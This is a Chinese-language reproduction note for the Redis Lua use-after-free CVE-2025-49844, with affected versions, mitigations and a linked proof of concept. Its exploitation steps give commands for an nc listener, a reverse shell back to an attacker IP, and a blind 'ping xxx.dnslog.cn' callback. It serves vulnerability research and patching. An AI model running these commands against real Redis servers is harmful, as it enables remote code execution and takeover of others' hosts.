CVE-2025-49844 Redis Lua 引擎 Use-After-Free 漏洞复现笔记
CVE-2025-49844
漏洞简介
Redis 是一个开源的使用 ANSI C 语言编写、支持网络、可基于内存亦可持久化的日志型 Key-Value 数据库,并提供多种语言的 API。
该漏洞(CVE-2025-49844,代号 RediShell)存在于 Redis 的 Lua 脚本引擎垃圾回收机制中,由于 Use-After-Free 问题,经过身份验证的远程攻击者可以通过构造特殊的 Lua 脚本触发漏洞,最终可能实现远程代码执行(RCE)。
重要提示:所有启用了 Lua 脚本功能的 Redis 实例均受影响(即默认配置下均受影响)。
影响版本
| 主版本 | 受影响版本 | 安全版本 |
|---|---|---|
| 6.x | < 6.2.20 | ≥ 6.2.20 |
| 7.x | < 7.2.11 | ≥ 7.2.11 |
| 7.4.x | < 7.4.6 | ≥ 7.4.6 |
| 8.0.x | < 8.0.4 | ≥ 8.0.4 |
| 8.2.x | < 8.2.2 | ≥ 8.2.2 |
官方修复公告:https://redis.io/blog/security-advisory-cve-2025-49844/
漏洞复现
目前公开的完整 RCE PoC 较为稀少,且高度依赖特定构建环境。经过测试,仅在以下两个官方 Docker 镜像上成功复现:
- x86-64 Linux
redis:8.2.1-alpine - x86-64 Linux
redis:8.2.1-bookworm
其他版本(如 7.x、源码编译、apt 安装等)虽理论上存在漏洞,但公开 PoC 因内存布局差异无法直接利用。
PoC 仓库
https://github.com/hzhsec/redis-cve_2025_49844
复现步骤
1. 启动易受攻击的 Redis 容器(推荐 alpine 镜像)
docker run -d -p 6379:6379 redis:8.2.1-alpine
2. 克隆 PoC 仓库
git clone https://github.com/hzhsec/redis-cve_2025_49844.git
cd cve-2025-49844
3. 安装依赖
uv sync
4. 执行利用
使用方法

反弹 Shell
先在攻击机监听:
nc -lvnp 4444
然后执行反弹:
uv run cve-2025-49844 --target-host 你的目标机IP --target-port 6379 rshell -l 你的攻击机IP -p 4444

攻击机监听端口

成功反弹得到目标 Redis 主机 Shell
单向命令执行示例
由于是无回显,进行外联验证:
uv run cve-2025-49844 --target-host 目标ip --target-port 6379 command "ping xxx.dnslog.cn"


注意:如需指定目标的密码,可加参数:
--password yourpass
修复建议
-
优先升级到官方修复版本
https://github.com/redis/redis/releases
建议直接升级到最新稳定版。 -
临时缓解措施(无法升级时)
编辑配置文件
/etc/redis/redis.conf或容器内对应路径,添加以下配置并重启 Redis:
启用认证
requirepass your_very_strong_password_here
限制网络访问,仅允许可信 IP
bind 127.0.0.1 ::1
protected-mode yes
禁用或重命名高危命令(特别是 Lua 脚本相关)
rename-command EVAL ""
rename-command EVALSHA ""
rename-command FLUSHALL ""
rename-command CONFIG ""
开启日志,便于审计
loglevel notice
logfile /var/log/redis/redis-server.log
- 其他安全最佳实践
- 避免将 Redis 直接暴露在公网
- 使用防火墙限制 6379 端口访问
- 定期检查是否有异常 Lua 脚本执行日志
结语
CVE-2025-49844 是 Redis 近年来最严重的漏洞之一(CVSS 10.0),但由于需要认证且公开完整 EXP 稀少,野外利用案例暂未大规模出现。不过随着时间推移,可能会有更多版本的 PoC 出现,建议所有 Redis 用户尽快升级。
本文仅用于技术研究与学习,严禁用于非法用途。
复现时间:2025年12月25日
作者:hzhsec
浙公网安备 33010602011771号